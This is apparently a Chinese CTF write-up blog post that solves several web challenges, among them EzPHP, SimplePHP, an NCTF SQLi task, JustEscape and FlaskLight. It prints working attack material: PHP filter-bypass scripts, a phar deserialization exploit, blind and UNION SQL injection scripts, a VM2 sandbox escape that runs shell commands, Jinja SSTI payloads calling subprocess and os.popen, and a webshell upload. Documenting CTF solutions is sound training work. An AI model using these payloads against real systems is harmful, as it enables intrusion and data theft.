[BJDCTF2020]EzPHP

F12看源代码,得到提示后base32解码得到真实地址;

image.png

然后源码解析

<?php
highlight_file(__FILE__);
error_reporting(0); 

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER){



 if(preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|.|"|'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|`|{|%|x|&|$|*|||<|"|'|=|?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|.|log|^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} ?>

观察绕过策略

第一步:绕过$_SERVER['QUERY_STRING']

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|.|"|'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

我们需要知道,在这个数组并不会被urldecode,所以直接把关键字全部转换成URL编码就行。

第二步:绕过$_GET['debu']

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

$_GET['debu']在最后使用了全串匹配,可以通过加上%0a来绕过。

第三步:绕过关于$_REQUEST的判断

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

注意到$_REQUESTPOST会覆盖GET,那么我们只需要POST一个相同的就行。

第四步:绕过$_GET['file']

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

$_GET['file']需要使用data协议,这样就会被正常的处理。

第五步:绕过sha1

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

由于是弱比较所以不需要碰撞,直接用数组绕过处理就好了。

第六步:动态函数执行

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|`|{|%|x|&|$|*|||<|"|'|=|?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|.|log|^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
}

使用create_function新建函数,arg想办法生成合适的调用方式。

因为create_function操作是一个拼接,但是又禁用了一大堆函数,所以我们调用get_defined_vars()来获取一下内容。

image.png

需要读取真正的flag,文件是rea1fl4g.php我们来想想办法。

requirebase64_decode绕过,然而看到了假的flag

image.png
image.png

想想别的办法,注意到没有过滤取反,那我们手工构造一个取反

image.png
image.png
image.png

提供一个简易转换工具,转换完后手工调整取反那一段的脚本就完事了。提示:Python3request库会在发请求时做一些奇特的编码转换,平常正常用很好用,这题很不好用。需要用Burpsuite来处理。

import requests
import base64
import urllib.parse as up

url = 'http://6b2cdf27-ae41-42af-9cc1-d5d6b691cda1.node3.buuoj.cn/1nD3x.php'
#url = 'http://requestbin.net/r/x2p7s4x2'

def hex2(s):
    ans = hex(ord(s))[2:]
    if len(ans) == 1:
        ans = '0' + ans
    return ans

def encode(s):
    ans = ''
    for i in s:
        ans += '%' + hex2(i)
    return ans

def get(dc):
    dc2 = []
    dc3 = []
    for i in dc.keys():
        dc2.append(encode(i) + '=1')
    for i,j in dc.items():
        #print(i,j)
        dc3.append(encode(i) + '=' + encode(j))
    print('POST:','&'.join(dc2))
    print('GET:','&'.join(dc3))

get({
    'debu':'aqua_is_cuten',
    'file':'data://text/plain,{0}'.format(encode('debu_debu_aqua')),
    'shana[]':'1',
    'passwd[]':'2',
    'flag[code]':'create_function',
    'flag[arg]':'}require(base64_decode(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//'
})

PHP

$p = 'php://filter/convert.base64-encode/resource=rea1fl4g.php';

print_r(urlencode(~$p));

[SWPUCTF 2018]SimplePHP

显然有个文件上传,不过貌似只能传图片上去,暂时先不管

点击查看文件,注意到地址栏中有个file参数,给这个参数加上内容,发现可以实现文件读取。

file.php

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn't exists.'); 
} 
?> 

function.php

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 

class.php

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|..|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }

    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|../i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

base.php

<?php 
    session_start(); 
?> 
<!--flag is in f1ag.php-->

注意到class.php中的Show,我们可以发现这个类里面有一句注释,这里可以提示我们可能可以进行phar反序列化。那么,我们只需要构造反序列化利用链就可以了。

研究构造方式:

C1e4r类存在__destruct方法,这个方法会使用echo来打印;(需要__toString方法触发)

Show类存在__toString方法,可以给$content赋值,而这个当变量str是类的时候,会调用__get方法。

Test类存在__get方法,这个方法可以调用get方法,而get方法可以实现文件读取。

那么构造方法也就清楚了:C1e4r类的$str是一个Show类变量,而这个变量的$str['str']则是一个Test类变量,这个新变量的params['source']则是你要读取的文件名。

然后到网上抄一个exp

<?php
class C1e4r
{
    public $test;
    public $str;
}

class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;

}

$c1e4r = new C1e4r();
$show = new Show();
$test = new Test();
$test->params['source'] = "/var/www/html/f1ag.php";
$c1e4r->str = $show;   //利用  $this->test = $this->str; echo $this->test;
$show->str['str'] = $test;  //利用 $this->str['str']->source;


$phar = new Phar("exp.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //固定的
$phar->setMetadata($c1e4r); //触发的头是C1e4r类,所以传入C1e4r对象
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名
$phar->stopBuffering();

?>

生成后改后缀名上传;

image.png

进入文件夹查看文件名

image.png

启动反序列化

http://89ee238b-c35e-4346-bb13-00dcf13da075.node3.buuoj.cn/file.php?file=phar://upload/288c0ceb887c76c4b0165b0bdf1bb31e.jpg
image.png

里面还有一个一看就知道是原来上传的文件,看一下发现貌似构建的有点问题,也不是拿flag,就手动无视了

[NCTF2019]SQLi

robots.txt,看一下hint.txt

给了过滤名单

$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|'|=| |in|<|>|-|.|()|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";


If $_POST['passwd'] === admin's password,

Then you will get the flag;

反斜杠没被过滤,尝试拼接字符串,利用regexp来拼凑布尔盲注

实在不想自己写脚本了,上网抄个脚本

#coding:utf-8
import requests
import time
import string
url = "http://912eb439-57a8-417b-a08b-850db70e7b03.node3.buuoj.cn/"
str_list = "_" + string.ascii_lowercase + string.ascii_uppercase + string.digits

payload = ''
for n in range(100):
    print(n)
    for i in str_list:
        data = {'username':'\', 'passwd':'||passwd/**/regexp/**/"^{}";x00'.format(payload+i)}
        res = requests.post(url = url, data = data)
        if 'welcome.php' in res.text:
            payload += i
            print(payload)
            break
        elif res.status_code == 429:
            time.sleep(1)
image.png

全小写输入得到flag

image.png

[HFCTF2020]JustEscape

假装是个PHP,不过随便输入些错误信息后去百度报错信息就可以发现是NodeJS

过滤了process关键字,没办法直接执行命令;

然后不会了,去找WP,果然是JS;

先用Error().stack测试是不是JS;

image.png

其实是VM2沙箱逃逸

有三种绕过方式,在这篇文章有详细解释。

我使用了数组的绕过方式

?code[]=(function(){ TypeError.prototype.get_process = f=>f.constructor("return process")(); try{ Object.preventExtensions(Buffer.from("")).a = 1; }catch(e){ return e.get_process(()=>{}).mainModule.require("child_process").execSync("cat /flag").toString(); } })();
image.png

[CSCCTF 2019 Qual]FlaskLight

F12看源代码,获得提示

image.png

根据题目名推测是PythonFlask框架,试试SSTI,成功了

image.png

然后命令执行

{{''.__class__.__mro__[2].__subclasses__()[258]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}
{{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}
image.png

[WUSTCTF2020]CV Maker

注册后上传,直接上传图片马,Burpsuite改文件名后缀为php直接连接Getshell

image.png
image.png
image.png

[b01lers2020]Welcome to Earth

很有意思的题目,一路用Burpsuite卡住,跟着Javascript和源码走,最后一步排列组合一下,就可以拿到flag

抄个脚本

#coding:utf-8
from itertools import permutations

flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]

item = permutations(flag)
for i in item:
    k = ''.join(list(i))
    if k.startswith('pctf{hey_boys') and k[-1] == '}':
        print(k)

[b01lers2020]Life on Mars

观察JS,发现查询方式,直接SQL注入即可

Payload

数据库名

/query?search=amazonis_planitia+union+select+1,group_concat(schema_name)+from+information_schema.schemata

表名

/query?search=amazonis_planitia+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_schema='alien_code'

列名

/query?search=amazonis_planitia+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_name='code'

flag

/query?search=amazonis_planitia+union+select+group_concat(id),group_concat(code)+from+alien_code.code

[RootersCTF2019]I_<3_Flask

首先使用Arjun来对参数进行探测。

image.png

探测出来了参数名name。然后直接SSTI

虽然这里不需要我们来进行绕过,但是我们还是假装绕过一下。

/?name={{[][%27__class__%27][%27__bases__%27][0][%27__subclasses__%27]()[182][%27__init__%27][%27__globals__%27][%27__builtins__%27][%27eval%27](%22__import__(%27os%27).popen(%27cat%20flag.txt%27).read()%22)}}
image.png

[BSidesCF 2019]Pick Tac Toe

本题可能需要挂个梯子才可以写。。。(在我所处的地方,googleapis没法正常访问)

可以通过覆盖的方式直接把三个棋子连成一条线,直接拿到flag

image.png
image.png
It is my final heart.
最后更新于 2022-07-24